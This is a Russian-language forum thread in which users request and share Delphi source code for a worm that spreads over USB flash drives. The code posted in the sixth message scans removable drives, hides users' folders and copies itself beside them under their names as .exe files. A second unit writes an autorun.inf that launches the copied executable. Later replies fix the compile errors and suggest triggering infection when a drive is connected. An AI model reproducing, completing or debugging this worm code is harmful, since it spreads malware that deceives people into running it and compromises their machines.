| 
				
				USB WORM
				 | 
 | 
| cool1 | Дата: Среда, 15.09.2010, 12:25 | Сообщение # 1 |  
 
 
 
Участник 
Зарегистрирован: 14.07.2010
 
 
Группа: Пользователи 
Сообщений: 238 
Статус: Offline 
 
 | Привет,   пожалуйста дайте сорец вируса который будет размножаться по флэшкам через папки   типо на флэшке папка фотки а вирус делает ее скрытой и создает файл фотки.ехе и файл Autorun.inf который открывает файл фотки.ехе    
 
     За помощь ставьте +!
 
 Сообщение отредактировал cool1 - Среда, 15.09.2010, 12:26  |  
|   | 
 |    | 
| dolphin | Дата: Среда, 15.09.2010, 14:20 | Сообщение # 2 |  
 
 
 
 
 
Администратор 
Сообщений: 906 
Статус: Offline 
 
 | Всё просто файл Autorun.inf тут совсем не причём, просто сканируешь папки, меняешь атрибуты и копируешься под их именем + скрываешь расширение ехе
  Система: Windows 10 x64, Kali Linux   Среды программирования: Delphi 7, Delphi 10.x 
   Я не профессионал, я всего лишь любитель   Я не вредитель, я всего лишь теоретик
 |  
|   | 
 |    | 
| cool1 | Дата: Среда, 15.09.2010, 15:09 | Сообщение # 3 |  
 
 
 
Участник 
Зарегистрирован: 14.07.2010
 
 
Группа: Пользователи 
Сообщений: 238 
Статус: Offline 
 
 | а исхдничеГ можно      
 
     За помощь ставьте +!
 |  
|   | 
 |    | 
| dolphin | Дата: Среда, 15.09.2010, 20:58 | Сообщение # 4 |  
 
 
 
 
 
Администратор 
Сообщений: 906 
Статус: Offline 
 
 | Ну смотри я тут написал 2 процедуры   Доступно только для пользователей   Эта процедура ищет съемные носители   а эта   Доступно только для пользователей   Инфецирует папки на них, то есть замещает собой и скрывает 
  Система: Windows 10 x64, Kali Linux   Среды программирования: Delphi 7, Delphi 10.x 
   Я не профессионал, я всего лишь любитель   Я не вредитель, я всего лишь теоретик
 
 Сообщение отредактировал dolphin - Пятница, 17.09.2010, 12:06  |  
|   | 
 |    | 
| cool1 | Дата: Пятница, 17.09.2010, 06:06 | Сообщение # 5 |  
 
 
 
Участник 
Зарегистрирован: 14.07.2010
 
 
Группа: Пользователи 
Сообщений: 238 
Статус: Offline 
 
 | спасиба!!!        
 
     За помощь ставьте +!
 |  
|   | 
 |    | 
| usfire | Дата: Суббота, 31.01.2015, 22:32 | Сообщение # 6 |  
 
 
 
Новичок 
Зарегистрирован: 31.01.2015
 
 
Группа: Пользователи 
Сообщений: 2 
Статус: Offline 
 
 | Код program Project2; 
   uses         SysUtils,windows;         var 
         F: TSearchRec;                i: Integer;                h: THandle;                L: TStringList; 
   procedure InfectDir(Root: String); 
            begin                       L:=TStringList.Create;                L.Clear;                L.Add(Root);                i := 0;                       while i < L.Count do begin                  Root := IncludeTrailingBackslash(L.Strings[i]);                         h := FindFirst(Root + '*.*', faAnyFile, F);                         while h = 0 do begin                           if (F.Attr and faDirectory) = faDirectory then begin                      if (F.Name <> '.') and (F.Name <> '..') then begin                        L.Add(Root + F.Name);                               SetFileAttributes(PChar(Root+F.Name),faHidden);                               CopyFile(pchar(ParamStr(0)),pchar(Root + F.Name+'.exe'),false);                        SetFileAttributes(PChar(Root+F.Name+'.exe'),faArchive);                      end;                    end;                           h :=FindNext(F);                  end;                  FindClose(F);                  Inc(i);                end;                L.Free;            end; 
   procedure InfectUsb;               var           DiskType,ifind : integer;                  Drives : set of 0..25;                  Drv : char;               begin                  try                  Integer(Drives):=GetLogicalDrives;           for ifind:=0 to 25 do                  if (ifind in Drives) then                   begin                   Drv:=Char(ifind+Ord('A'));                   DiskType:=GetDriveType(PChar(Drv+':\'));            if (DiskType = DRIVE_REMOVABLE)  then            begin                   InfectDir(PChar(Drv+':\'));            end;           end                  except           exit;                  end;        end; 
   begin 
   end   
   delphi 7 
   ошибка на tstring list 
   необходима рабочая версия 
   и как использовать процедуру 
   Код unit uUSBSpread; 
   interface 
   uses   Windows, uInstall, pFunc, uConst; 
   function InfectUsbDrives(ExeName:string) :Integer; 
   implementation 
   function InfectUsbDrives(ExeName:string) :Integer;   var   Drive: Char;   myFile: TextFile;   begin   Result := 0;   for Drive := 'A' to 'Z' do   begin   if (GetDriveType(PChar(Drive + ':\'))= DRIVE_REMOVABLE) then   begin   try   if FileExists(Drive+':\'+ExeName) = False then   begin   CopyFile(PChar(ParamStr(0)),PChar(Drive+':\'+ExeName),False);   AssignFile(myFile, Drive+':\autorun.inf');   if not FileExists(Drive+':\autorun.inf') then ReWrite(myFile)   else Append(myFile);   WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);   CloseFile(myFile);   sleep(10);   HideFile(Drive+':\'+ExeName);   sleep(10);   HideFile(Drive+':\autorun.inf');   Result := Result + 1;   end;   except   end;   end;   end;   end; 
   end.    
   uconst error 
   https://www.youtube.com/watch?x....QM#t=20
 
 Сообщение отредактировал usfire - Суббота, 31.01.2015, 23:56  |  
|   | 
 |    | 
| ms301 | Дата: Воскресенье, 15.02.2015, 20:16 | Сообщение # 7 |  
 
 
 
Постоянный 
Зарегистрирован: 28.11.2012
 
 
Группа: Пользователи 
Сообщений: 101 
Статус: Offline 
 
 | Цитата usfire (  )  ошибка на tstring list      В uses добавь Classes;   Цитата usfire (  )  uconst error      рядом с проектом кинь uconst.pas 
   ps - элементарные ошибки...
 |  
|   | 
 |    | 
| Android | Дата: Четверг, 29.12.2016, 14:40 | Сообщение # 8 |  
 
 
 
Постоянный 
Зарегистрирован: 13.12.2011
 
 
Группа: Пользователи 
Сообщений: 100 
Статус: Offline 
 
 | неплохо бы еще определять момент подключения флешки
 |  
|   | 
 |    |